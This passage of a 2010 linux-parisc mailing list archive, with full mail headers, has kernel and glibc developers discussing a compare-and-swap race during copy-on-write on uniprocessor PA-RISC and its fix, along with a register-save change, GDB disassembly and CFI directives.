	 <20100330015455.GA13505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269915545 25624 80.91.229.12 (30 Mar 2010 02:19:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 30 Mar 2010 02:19:05 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 30 04:19:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwR2h-0007SB-Gi
	for glpp-linux-parisc@lo.gmane.org; Tue, 30 Mar 2010 04:18:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754882Ab0C3CS6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Mar 2010 22:18:58 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:52272 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754788Ab0C3CS6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Mar 2010 22:18:58 -0400
Original-Received: by mail-wy0-f174.google.com with SMTP id 39so1345789wyb.19
        for <linux-parisc@vger.kernel.org>; Mon, 29 Mar 2010 19:18:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=2dnSE1vqYCiBj8d+qbUDlWdPWVCllJkRBPMo2HX83s4=;
        b=YeWfszVioEH8yyKpruplAQTpqpcolvhUWf5jH/8sQE4KzgfFepFWCRbzgoPb69lTBO
         Ax9VxzwjG0dauVlvMTGw9euHTZrrkpZyLGBZ3SvkZjSdML9tFAi0sXM/tyV39ilUcwBx
         j94dEPB7L9GWI04Is7eL1r944PSg5GhCNDwI8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=lhn4k4OYA96193MyQUYKO1YeiCwXOovv9wEEtDtlz6uRQvb3kqyReFpR/EyKns1wtE
         cEgssGP5Y5qiF7FbkXOvfBIk9y5dQ4y7LGO6w4lwMBpxxNUh0jZaU+SUGbYbYm3STYpI
         OjgnoXiR3r2lk0zCBR/Y1h6XKCxoNuz2uuJnw=
Original-Received: by 10.216.35.78 with HTTP; Mon, 29 Mar 2010 19:18:57 -0700 (PDT)
In-Reply-To: <20100330015455.GA13505@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: edd74d6560d953ae
Original-Received: by 10.216.168.9 with SMTP id j9mr310916wel.152.1269915537362; Mon, 
	29 Mar 2010 19:18:57 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2734 gmane.linux.debian.ports.hppa:6331
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2734>

On Mon, Mar 29, 2010 at 9:54 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> I think the solution may be to proceed the CAS sequence with a probe,=
w
> instruction. =A0This will trigger a non-access TLB miss fault/non-acc=
ess
> data page fault if its going to happen. =A0There is a FIXME for case =
17
> in handle_interruption about this.

Then what though? One process has to write to the page to initiate the
COW. How else are you going to initiate the COW? Once in userspace you
are only allowed to write to the CAS value (one word on a page), and
you *can't* because that would violate the CAS semantics and atomicity
requirements.

The "first" process must take the lock, has to write the result to the
page, has to initiate the COW, has to sleep with the lock held, and
the rest have to spin in userpace waiting for it to complete.

AFAICT the rest of the processes are not be able to stop the "first"
process from finishing the COW, so we make forward progress after the
COW is done and the "first" process resumes and unlocks the LWS CAS
lock (for that address range).

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Tue, 30 Mar 2010 16:38:08 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab441003301338o1d0582f3wdbf82681f88ed671@mail.gmail.com>
References: <4BB0B2C8.8000302@fsij.org>
	 <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com>
	 <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
	 <20100329200705.GE20286@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1269981503 28542 80.91.229.12 (30 Mar 2010 20:38:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 30 Mar 2010 20:38:23 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 30 22:38:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwiCR-0006lV-DQ
	for glpp-linux-parisc@lo.gmane.org; Tue, 30 Mar 2010 22:38:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754263Ab0C3UiK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Mar 2010 16:38:10 -0400
Original-Received: from mail-ew0-f220.google.com ([209.85.219.220]:39650 "EHLO
	mail-ew0-f220.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752051Ab0C3UiJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Mar 2010 16:38:09 -0400
Original-Received: by ewy20 with SMTP id 20so1664999ewy.1
        for <linux-parisc@vger.kernel.org>; Tue, 30 Mar 2010 13:38:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type;
        bh=/k0zqTGdD4VgxRbnslKfgbEdOW7MkYjg25Q9nDgSi80=;
        b=ucyFQH/pq8b1xK7XTsjf06u+286v5lTV9waq08LxTpuCi+chh0otxyf8H6u611My1c
         GVwF6JqJPZW1K194JtwnsJj5jEPCjmE5pnHb0ZkW8UGtWL1AM35Ipk0PPMj/cS8QP1cy
         zD/KiDnKkip4JRPq9CEMr9gMmsQq/QGTnRKKQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=gN2HmctA2xm38L8Yf6bz7/4TdciCqM3QrJOuv+BihbYkVy0UapM0O8LQoZIVwHl+tp
         NftD1Rum6Iradfuftu72y+5a8PknpgnICbEWo39oUcI4MjOQOFhiTrMdaEzKoAmer/dZ
         k11ddT1rIaIHI8obEaX1RQpk54Y2HTRJ2MZ1o=
Original-Received: by 10.216.35.78 with HTTP; Tue, 30 Mar 2010 13:38:08 -0700 (PDT)
In-Reply-To: <20100329200705.GE20286@bombadil.infradead.org>
X-Google-Sender-Auth: aac795706fd99512
Original-Received: by 10.216.89.130 with SMTP id c2mr72710wef.44.1269981488093; Tue, 30 
	Mar 2010 13:38:08 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2735 gmane.linux.debian.ports.hppa:6332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2735>

On Mon, Mar 29, 2010 at 4:07 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> Can you bounce me the whole thread, please?

You saw the whole thread :-)

Niibe-san has pointed out that if you call LWS CAS on an address of a
shared page, that the COW process may call schedule and sleep, leaving
a small window for a race condition.

On SMP I don't think there is a problem:
* Thread A takes kernel LWS CAS lock.
* Thread A writes to CAS address causing COW
* Thread A sleeps.
* Thread B tries to take kernel LWS CAS lock, fails, returns EAGAIN to
userspace.
* Thread A eventually completes releasing kernel LWS CAS lock.
* Thread B finally takes kernel LWS CAS lock and carries out CAS operation.

Even though Thread A sleeps, there is no way to send it a signal at
this point. All signal delivery is initiated only via PA assembly in
entry.S/syscall.S and that avoids delivering a signal (do_signal, and
do_notify_resume not called) if execution is on the gateway page.

On UP you have a problem:
* Thread A enters LWS CAS (no lock on UP)
* Thread A writes to CAS address causing COW
* Thread A sleeps.
* Thread A completes COW, but finishes time slice before the write is restarted.
* Thread B enters LWS CAS (no lock on UP)
* Thread B writes to CAS address, and finishes time slice.
* Thread A writes to CAS address and clobbers B's value.

The solution is to add the locks to the UP case to avoid this problem.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Tue, 30 Mar 2010 17:36:27 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20100330213627.GH20286@bombadil.infradead.org>
References: <4BB0B2C8.8000302@fsij.org> <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com> <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com> <20100329200705.GE20286@bombadil.infradead.org> <119aab441003301338o1d0582f3wdbf82681f88ed671@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269985009 9967 80.91.229.12 (30 Mar 2010 21:36:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 30 Mar 2010 21:36:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, NIIBE Yutaka <gniibe@fsij.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 30 23:36:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nwj73-0002W0-PB
	for glpp-linux-parisc@lo.gmane.org; Tue, 30 Mar 2010 23:36:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753883Ab0C3Vgl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Mar 2010 17:36:41 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39610 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753032Ab0C3Vgk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Mar 2010 17:36:40 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nwj6p-0005Pf-JI; Tue, 30 Mar 2010 21:36:27 +0000
Content-Disposition: inline
In-Reply-To: <119aab441003301338o1d0582f3wdbf82681f88ed671@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2736 gmane.linux.debian.ports.hppa:6333
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2736>

On Tue, Mar 30, 2010 at 04:38:08PM -0400, Carlos O'Donell wrote:
> * Thread A enters LWS CAS (no lock on UP)
> * Thread A writes to CAS address causing COW
> * Thread A sleeps.
> * Thread A completes COW, but finishes time slice before the write is restarted.
> * Thread B enters LWS CAS (no lock on UP)
> * Thread B writes to CAS address, and finishes time slice.
> * Thread A writes to CAS address and clobbers B's value.
> 
> The solution is to add the locks to the UP case to avoid this problem.
> 

Yes, removing the CONFIG_SMP on that bit looks like it will solve the
problem.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Wed, 31 Mar 2010 09:55:14 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <s2w119aab441003310655va434ab3bm6a0d71df6d7182c0@mail.gmail.com>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com>
	 <20100328212110.03F224E77@hiauly1.hia.nrc.ca>
	 <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>
	 <20100328235937.GA5806@hiauly1.hia.nrc.ca>
	 <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com>
	 <20100329023854.GA6633@hiauly1.hia.nrc.ca>
	 <119aab441003290511p6ca7904dxdfc7def8e0777662@mail.gmail.com>
	 <20100329140257.GA9394@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1270043729 25598 80.91.229.12 (31 Mar 2010 13:55:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 13:55:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 15:55:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwyO8-0004er-Pc
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 15:55:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933397Ab0CaNzT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 09:55:19 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:56214 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933390Ab0CaNzT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 09:55:19 -0400
Original-Received: by wyb39 with SMTP id 39so57352wyb.19
        for <linux-parisc@vger.kernel.org>; Wed, 31 Mar 2010 06:55:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type;
        bh=mqz66QSqyGwJdKt6tiFvlnhJOKUgbwUnEHrfLlZY/t0=;
        b=qgAqMoUyEXAnbjMpKWQXnJd6723VQi5yFj0e9x/bePIvyPE2Pnb9Av2VTbg23pMLP3
         RIfLwbjprFteA4O880GsAXb3kDqEagfgyijz+A9nc7GgUioNT7jxTg7Q4vBIYhqlchPQ
         VciV84yVa0cO1Q9VVd/Ba/MGqEdpwhJUH4/MQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=vxYUhFImkH66sJJaypGMz4g8tVfAAqOAiyN0/HKTPEdMXDK9nUiSf65LOu/pAlXV0D
         0CYn6eLYnhkOF5ZEnb1vU/memW+KXY/jMyvn8B3FB288/iX2Pp+C/wzScPw5sdvDxx5T
         Url8ZoHSLi10ouAfoWa3OYrMhElGXJJ1VMTmQ=
Original-Received: by 10.216.35.78 with HTTP; Wed, 31 Mar 2010 06:55:14 -0700 (PDT)
In-Reply-To: <20100329140257.GA9394@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: d509141a98677d4c
Original-Received: by 10.216.88.4 with SMTP id z4mr972244wee.121.1270043715960; Wed, 31 
	Mar 2010 06:55:15 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2737>

On Mon, Mar 29, 2010 at 10:02 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> The change may not fix much, but there's no technical reason that
> the kernel needs to clobber r19.

Rebuilt 2.10.2-6 here with r19 save for all cases.

http://www.parisc-linux.org/~carlos/saver19/

Two regressions during build, but they appear unrelated.

Could you test this in a chroot and tell me if it works for you?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: FSF GDB 7.1.50 from CVS head works better than GDB in Debian 
	unstable.
Date: Wed, 31 Mar 2010 10:53:08 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <o2p119aab441003310753ma764ec4do48e1cbf4afe569d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1270047201 7231 80.91.229.12 (31 Mar 2010 14:53:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 14:53:21 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 16:53:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwzIB-0000ia-8d
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 16:53:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750901Ab0CaOxO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 10:53:14 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:46707 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751233Ab0CaOxO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 10:53:14 -0400
Original-Received: by wyb39 with SMTP id 39so87197wyb.19
        for <linux-parisc@vger.kernel.org>; Wed, 31 Mar 2010 07:53:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:received:message-id:subject:from:to
         :content-type;
        bh=FVQh48nWJXZgGeBbb5eYI3Xx+9pqbya0ZDzJSf/JhdE=;
        b=QDYDW4ZwbACHC3dupkqbFetotmpXAunEMPuQTlUOXxGlAhaZMLalpyOUQZghiePa/2
         AvPu/v86P4UvBzhfNVF0ATaB3S8rv5jkMR8yA68zccXVYeeZd6tIBc8ADTO8ky7mFzk3
         wvDTtJbpdNsFVmw+YDxq0RO+k3R6Vtlr0+kCQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=cINHRlOsDW9UP3zgqTJyY8G43VAw24C59OIQ77IZevB4K61b4/i5dx9vIQy7CDC0Bp
         18J0MTB4C3HQxnwVg09XCBezooGXdkO3HTU/PrbbPnLPlZnr2Uu7t+/cx1JLP5sglX+T
         vlXJvVg/fiAKr5ZHks0u7/FmMTshPztL2Ij94=
Original-Received: by 10.216.35.78 with HTTP; Wed, 31 Mar 2010 07:53:08 -0700 (PDT)
X-Google-Sender-Auth: 0769c7041369cd00
Original-Received: by 10.216.88.205 with SMTP id a55mr1018613wef.122.1270047192484; 
	Wed, 31 Mar 2010 07:53:12 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2738>

Dave,

The FSF GDB 7.1.50 from CVS head performs much better than the default
GDB in Debian unstable.

I highly recommend building it from source and using it for debugging.

It also has the new `=>` PC pointer when you dissassemble...

   0x413deed4 <+220>:   cmpb,= ret0,ret1,0x413def44 <_dl_make_fptr+332>
   0x413deed8 <+224>:   shladd,l rp,3,r5,rp
=> 0x413deedc <+228>:   ldw 8(r5),ret1
   0x413deee0 <+232>:   ldw 4(r5),ret0
   0x413deee4 <+236>:   cmpb,<<= ret0,ret1,0x413deffc <_dl_make_fptr+516>
   0x413deee8 <+240>:   ldo 1(ret1),rp

Which is handy.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: CFI directives.
Date: Wed, 31 Mar 2010 10:58:38 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <l2z119aab441003310758w994a04cv70a09146e2aa634f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1270047529 8462 80.91.229.12 (31 Mar 2010 14:58:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 14:58:49 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 16:58:44 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwzNU-0005Jn-9z
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Mar 2010 16:58:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752320Ab0CaO6n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Mar 2010 10:58:43 -0400
Original-Received: from mail-ew0-f220.google.com ([209.85.219.220]:63492 "EHLO
	mail-ew0-f220.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750902Ab0CaO6n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Mar 2010 10:58:43 -0400
Original-Received: by ewy20 with SMTP id 20so60479ewy.1
        for <linux-parisc@vger.kernel.org>; Wed, 31 Mar 2010 07:58:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:received:message-id:subject:from:to
         :content-type;
        bh=HbQccei3mmDcrPcf5MVCflcQOQRrJqsaNi/5oS7wy3c=;
        b=Qlbl/ceYiffL85h6NEOwTvYF3aeSPMklZG5An/7QeDF59eknfT1GCwOc5mJ5honHMi
         pXtleVWRM+0V/yvgMOv5dHq8aFLHMmvIJq86Q5eurQ4Ec7DpJBkAPtzK5KDXDH3CQlrY
         0+VVK8HCv8R9JAj5oF4KgtHWx2B1RIQ6MiPr0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=GjV6l8uvLUiSTHGxp5rgknxPKpigqVaqbP8JKY8vjjK7lJ/gRPxF1SF/2nnw/QD9D/
         zVzd85Hs+7601bxxzJoMJZbRVR+YVE4Q7kzlz1iaHjicuCc8CAOGHDx2BLship8asCtt
         rHKJrqhwVj5eSiOkQvrRwYVn7FpqVFYHmY+OQ=
Original-Received: by 10.216.35.78 with HTTP; Wed, 31 Mar 2010 07:58:38 -0700 (PDT)
X-Google-Sender-Auth: 8afb423e0d1a38ca
Original-Received: by 10.216.86.19 with SMTP id v19mr4318994wee.218.1270047521143; Wed, 
	31 Mar 2010 07:58:41 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2739
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2739>

Dave,

I've added CFI directives to all of the syscall stubs in glibc, do you
see anything wrong with that?

I have not yet added CFI directives for the bespoke *.S implementations.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: CFI directives.
Date: Wed, 31 Mar 2010 11:38:03 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20100331153804.3D115516B@hiauly1.hia.nrc.ca>
References: <l2z119aab441003310758w994a04cv70a09146e2aa634f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270049893 18279 80.91.229.12 (31 Mar 2010 15:38:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Mar 2010 15:38:13 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 31 17:38:09 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
